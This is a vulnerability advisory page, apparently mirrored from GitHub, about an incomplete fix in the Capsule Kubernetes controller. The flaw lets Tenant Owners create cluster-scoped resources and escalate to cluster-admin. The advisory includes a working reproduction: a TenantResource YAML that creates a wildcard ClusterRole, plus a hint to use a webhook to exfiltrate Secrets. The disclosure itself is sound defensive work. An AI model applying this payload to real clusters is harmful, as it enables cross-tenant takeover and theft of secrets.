GHSA-JR6P-8PJJ-MFX6

Vulnerability from github – Published: 2026-07-31 16:53 – Updated: 2026-07-31 16:53
VLAI
Summary
Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)
Details

Summary

CVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources (e.g. ClusterRole, ValidatingWebhookConfiguration) through a TenantResource, because the controller applies them with its cluster-admin ServiceAccount and SetNamespace is ineffective for cluster-scoped kinds. The v0.13.0 fix added a cluster-scope rejection guard, but only on the NamespacedItems selection path (ResourceReference.LoadResources -> IsNamespacedGVK, error "cluster-scoped kind ... is not allowed"). The RawItems create path — the exact vector the original advisory named — and the Generators path were not given this guard. The vulnerability therefore persists in all releases v0.13.0 through v0.13.7 and on trunk HEAD (8d89d6865d).

Details

TenantResource reconcile flow: - internal/controllers/resources/namespaced.go reconcile() obtains the apply client via loadClient(); by default (impersonation off, no Spec.ServiceAccount) this is the manager client whose SA is bound to cluster-admin (charts/capsule/templates/rbac.yaml:488-501, {fullname}-manager-rolebinding -> roleRef cluster-admin). - Collector.Collect() (collect.go) processes spec.RawItems via handleRawItem and spec.Generators via handleGeneratorItem.

handleRawItem (collect.go:406-425, trunk HEAD — byte-identical to v0.13.0):

tmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)
obj := &unstructured.Unstructured{}
unstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)
if ns != nil { obj.SetNamespace(ns.Name) }   // ONLY mitigation
return obj, nil                                // NO IsNamespacedGVK / allowClusterScoped guard

handleGeneratorItem (collect.go:382-404) is the same: it only SetNamespaces on rendered objects.

The accumulated objects flow to pkg/api/processor/processor_func.go Reconcile() -> Apply() -> clt.PatchApply(ctx, c, obj, ...) (line 167/378) with no scope check at any point.

By contrast, CollectNamespacedItems (collect.go:308) calls item.LoadResources(..., allowClusterScoped=false), and pkg/template/reference.go:105-107 enforces:

if !allowClusterScoped && !isNamespaced {
    return nil, fmt.Errorf("cluster-scoped kind %s/%s is not allowed", ...)
}

So the guard the fix added is real, but it sits on a different (selection) path than the one the CVE described (RawItems create path). For cluster-scoped kinds, SetNamespace is ignored by the Kubernetes API server, so the object is created cluster-wide by the cluster-admin client.

Parent-fix diff confirmation: in v0.12.4 the RawItems handler in processor.go was the vulnerable code (obj.SetNamespace(ns.Name) then createOrUpdate via r.client). v0.13.0 refactored this into collect.go handleRawItem but left it without the new guard.

Proof of Concept

A self-contained in-process Go test (incompletefix_poc_test.go), run against trunk HEAD with go1.26.4, proves the asymmetry: - TestRawItemPath_NoClusterScopeGuard: feeds a ClusterRole rawItem to handleRawItem -> object returned unchanged, no rejection (PASS). - TestNamespacedItemsPath_HasClusterScopeGuard: feeds the same ClusterRole kind to LoadResources(allowClusterScoped=false) -> rejected with "cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed" (PASS).

VULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;
            metadata.namespace="tenant-ns" (ignored by API server for cluster-scoped kinds)
GUARDED:    NamespacedItems path correctly rejected cluster-scoped kind:
            cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed

End-to-end (cluster) reproduction: 1. Deploy capsule (default Helm) with rbac.resources.create=true (the opt-in that exposes TenantResources to tenant owners; the configuration the original CVE applies to). 2. As a Tenant Owner, create in a tenant namespace: yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: {name: pwn, namespace: <tenant-ns>} spec: resources: - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: <tenant>}} rawItems: - apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: {name: tenant-escalation} rules: [{apiGroups: ["*"], resources: ["*"], verbs: ["*"]}] 3. Observe the cluster-scoped ClusterRole tenant-escalation is created by the cluster-admin controller, despite the tenant owner lacking cluster RBAC to create it. Swap in ValidatingWebhookConfiguration to intercept/exfiltrate cluster-wide Secrets.

Impact

A Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all tenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not close the RawItems/Generators vector.

Remediation

Apply the same IsNamespacedGVK / allowClusterScoped rejection inside handleRawItem and handleGeneratorItem — or centrally in Collector.AddToAccumulation / processor.Apply — so the create path enforces the same cluster-scope policy as the selection path. (GlobalTenantResource shares the path but is not a privesc — cluster-admin-only to create.)

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.13.7"
      },
      "package": {
        "ecosystem": "Go",
        "name": "github.com/projectcapsule/capsule"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.13.0"
            },
            {
              "fixed": "0.13.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-65835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-31T16:53:42Z",
    "nvd_published_at": "2026-07-30T20:18:13Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nCVE-2026-22872 (GHSA-qjjm-7j9w-pw72) reported that a Tenant Owner could create cluster-scoped resources\n(e.g. `ClusterRole`, `ValidatingWebhookConfiguration`) through a `TenantResource`, because the controller\napplies them with its cluster-admin ServiceAccount and `SetNamespace` is ineffective for cluster-scoped\nkinds. The v0.13.0 fix added a cluster-scope rejection guard, but **only on the NamespacedItems selection\npath** (`ResourceReference.LoadResources` -\u003e `IsNamespacedGVK`, error `\"cluster-scoped kind ... is not\nallowed\"`). The **RawItems create path \u2014 the exact vector the original advisory named \u2014 and the Generators\npath were not given this guard.** The vulnerability therefore persists in all releases **v0.13.0 through\nv0.13.7** and on trunk HEAD (`8d89d6865d`).\n\n### Details\nTenantResource reconcile flow:\n- `internal/controllers/resources/namespaced.go` `reconcile()` obtains the apply client via `loadClient()`;\n  by default (impersonation off, no `Spec.ServiceAccount`) this is the manager client whose SA is bound to\n  cluster-admin (`charts/capsule/templates/rbac.yaml:488-501`, `{fullname}-manager-rolebinding` -\u003e\n  roleRef cluster-admin).\n- `Collector.Collect()` (`collect.go`) processes `spec.RawItems` via `handleRawItem` and `spec.Generators`\n  via `handleGeneratorItem`.\n\n`handleRawItem` (`collect.go:406-425`, trunk HEAD \u2014 byte-identical to v0.13.0):\n```go\ntmplString := tpl.FastTemplate(string(item.Raw), opts.Iterator.FastContext)\nobj := \u0026unstructured.Unstructured{}\nunstructured.UnstructuredJSONScheme.Decode([]byte(tmplString), nil, obj)\nif ns != nil { obj.SetNamespace(ns.Name) }   // ONLY mitigation\nreturn obj, nil                                // NO IsNamespacedGVK / allowClusterScoped guard\n```\n`handleGeneratorItem` (`collect.go:382-404`) is the same: it only `SetNamespace`s on rendered objects.\n\nThe accumulated objects flow to `pkg/api/processor/processor_func.go` `Reconcile()` -\u003e `Apply()` -\u003e\n`clt.PatchApply(ctx, c, obj, ...)` (line 167/378) with **no scope check at any point**.\n\nBy contrast, `CollectNamespacedItems` (`collect.go:308`) calls `item.LoadResources(..., allowClusterScoped=false)`,\nand `pkg/template/reference.go:105-107` enforces:\n```go\nif !allowClusterScoped \u0026\u0026 !isNamespaced {\n    return nil, fmt.Errorf(\"cluster-scoped kind %s/%s is not allowed\", ...)\n}\n```\nSo the guard the fix added is real, but it sits on a different (selection) path than the one the CVE\ndescribed (RawItems create path). For cluster-scoped kinds, `SetNamespace` is ignored by the Kubernetes API\nserver, so the object is created cluster-wide by the cluster-admin client.\n\n**Parent-fix diff confirmation:** in v0.12.4 the RawItems handler in `processor.go` was the vulnerable code\n(`obj.SetNamespace(ns.Name)` then `createOrUpdate` via `r.client`). v0.13.0 refactored this into\n`collect.go` `handleRawItem` but left it without the new guard.\n\n### Proof of Concept\nA self-contained in-process Go test (`incompletefix_poc_test.go`), run against trunk HEAD with go1.26.4,\nproves the asymmetry:\n- `TestRawItemPath_NoClusterScopeGuard`: feeds a `ClusterRole` rawItem to `handleRawItem` -\u003e object returned\n  unchanged, no rejection (PASS).\n- `TestNamespacedItemsPath_HasClusterScopeGuard`: feeds the same `ClusterRole` kind to\n  `LoadResources(allowClusterScoped=false)` -\u003e rejected with\n  `\"cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed\"` (PASS).\n\n```\nVULNERABLE: RawItems path accepted cluster-scoped rbac.authorization.k8s.io/v1/ClusterRole;\n            metadata.namespace=\"tenant-ns\" (ignored by API server for cluster-scoped kinds)\nGUARDED:    NamespacedItems path correctly rejected cluster-scoped kind:\n            cluster-scoped kind rbac.authorization.k8s.io/v1/ClusterRole is not allowed\n```\n\nEnd-to-end (cluster) reproduction:\n1. Deploy capsule (default Helm) with `rbac.resources.create=true` (the opt-in that exposes TenantResources\n   to tenant owners; the configuration the original CVE applies to).\n2. As a Tenant Owner, create in a tenant namespace:\n   ```yaml\n   apiVersion: capsule.clastix.io/v1beta2\n   kind: TenantResource\n   metadata: {name: pwn, namespace: \u003ctenant-ns\u003e}\n   spec:\n     resources:\n       - namespaceSelector: {matchLabels: {capsule.clastix.io/tenant: \u003ctenant\u003e}}\n         rawItems:\n           - apiVersion: rbac.authorization.k8s.io/v1\n             kind: ClusterRole\n             metadata: {name: tenant-escalation}\n             rules: [{apiGroups: [\"*\"], resources: [\"*\"], verbs: [\"*\"]}]\n   ```\n3. Observe the cluster-scoped ClusterRole `tenant-escalation` is created by the cluster-admin controller,\n   despite the tenant owner lacking cluster RBAC to create it. Swap in `ValidatingWebhookConfiguration`\n   to intercept/exfiltrate cluster-wide Secrets.\n\n### Impact\nA Tenant Owner (namespace-scoped) escalates to cluster-admin-equivalent privileges and can compromise all\ntenants and the cluster control plane. Identical impact to CVE-2026-22872; the v0.13.0 remediation does not\nclose the RawItems/Generators vector.\n\n### Remediation\nApply the same `IsNamespacedGVK` / `allowClusterScoped` rejection inside `handleRawItem` and\n`handleGeneratorItem` \u2014 or centrally in `Collector.AddToAccumulation` / `processor.Apply` \u2014 so the create\npath enforces the same cluster-scope policy as the selection path. (`GlobalTenantResource` shares the path\nbut is not a privesc \u2014 cluster-admin-only to create.)",
  "id": "GHSA-jr6p-8pjj-mfx6",
  "modified": "2026-07-31T16:53:42Z",
  "published": "2026-07-31T16:53:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/security/advisories/GHSA-jr6p-8pjj-mfx6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-65835"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/projectcapsule/capsule"
    },
    {
      "type": "WEB",
      "url": "https://github.com/projectcapsule/capsule/releases/tag/v0.13.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Capsule has an incomplete fix of CVE-2026-22872: TenantResource RawItems and Generators still allow cluster-scoped resource creation (cross-tenant privilege escalation)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Loading…

Loading…

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.


Loading…